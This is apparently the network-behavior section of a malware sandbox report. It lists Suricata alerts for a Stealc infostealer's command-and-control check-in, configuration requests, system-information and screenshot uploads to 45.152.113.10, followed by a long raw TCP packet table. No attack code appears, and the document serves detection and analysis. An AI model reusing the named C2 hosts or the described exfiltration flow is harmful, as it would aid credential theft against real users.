Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-09T18:45:00.949076+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:01.093371+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:01.099537+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.152.113.10	80	192.168.2.5	49707	TCP
2024-09-09T18:45:01.235429+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:01.242568+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.152.113.10	80	192.168.2.5	49707	TCP
2024-09-09T18:45:01.595701+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:01.733450+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:04.159363+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:04.869859+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:05.426209+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:05.887112+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:07.519547+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:07.860064+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:09.614116+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-09T18:45:12.359738+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49717	198.54.120.231	443	TCP
2024-09-09T18:45:12.359738+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49717	198.54.120.231	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2024 18:45:00.228734970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.233798027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:00.233900070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.234018087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.238809109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:00.782103062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:00.784826994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.791800976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.799369097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:00.948998928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:00.949075937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.950851917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:00.957905054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.093255043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.093305111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.093370914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.093370914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.094657898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.099536896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235318899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235354900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235428095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235429049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235465050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235496044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235512018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235512018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235529900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235546112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235567093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235567093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235604048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235625029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235639095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.235656023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.235694885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.237638950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.242568016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.389902115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.389998913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.418335915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.418379068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.423363924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.423474073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.423506021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.423538923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.595628977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.595700979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.596324921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.601156950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733367920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733395100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733411074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733449936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733462095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733479023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733527899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733527899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733568907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733742952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733793974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733809948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733825922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733866930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733866930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733882904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.733889103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733918905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.733948946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.734673023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.734688997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.734704018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.734719992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.734736919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.734769106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.734788895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.771563053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771579027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771595955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771610975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771642923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.771707058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771754026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.771754026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.771773100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771786928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.771826982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.771859884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826441050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826458931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826483965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826498985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826515913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826514959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826533079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826544046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826574087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826606035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826698065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826749086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826865911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826889038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826905966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826924086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826931953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826944113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826950073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.826963902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.826983929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827009916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827558041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827605009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827617884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827621937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827652931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827661991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827672005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827680111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827697992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.827718019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827744961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.827745914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828506947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828564882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828567028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828581095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828618050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828634024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828639030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828650951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828666925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.828680992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828701973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.828732014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.829483986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.829544067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.829566956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.829624891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864073038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864088058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864125967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864136934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864141941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864167929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864171028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864171028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864183903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864191055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864201069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864216089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864237070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864247084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864250898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864265919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864281893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864298105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864304066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864329100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864371061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864398003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864413023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.864445925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.864469051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.918629885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918661118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918675900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918699980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.918719053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918734074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.918735981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918781996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.918785095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918802023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.918833017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.918865919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919152021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919178009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919193029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919207096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919219971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919233084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919244051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919282913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919573069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919588089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919605017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919624090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919630051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919648886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919651985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.919683933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.919713974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920072079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920088053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920104027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920126915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920142889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920242071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920258045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920274973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920295000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920300007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920306921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920320034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920335054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.920344114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920344114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920353889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.920387030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921009064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921056032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921072960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921125889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921125889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921144962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921161890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921161890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921179056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921195984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921207905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921226025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921260118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921267986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921278954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.921305895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921319962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.921988964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.922034979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.922044039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.922050953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.922065973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.922080994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.922137022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.922137022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956461906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956476927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956490993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956509113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956523895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956532955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956541061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956557989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956562042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956576109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956600904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956623077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956860065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956916094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956916094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956933975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.956964970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.956994057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957009077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957062960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957072020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957087040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957117081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957134962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957171917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957212925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957214117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957230091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957256079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957272053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957318068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957333088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957350016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957365036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957372904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957381964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957384109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957401037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957412004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957447052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.957941055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957967997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957981110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:01.957995892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.958024979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:01.958045006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013071060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013086081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013099909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013115883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013134003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013137102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013191938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013192892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013219118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013242006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013258934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013272047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013273954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013290882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013300896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013305902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013322115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013323069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013339996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013351917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:02.013355970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013372898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:02.013389111 CEST	80	49707	45.152.113.10	192.168.2.5
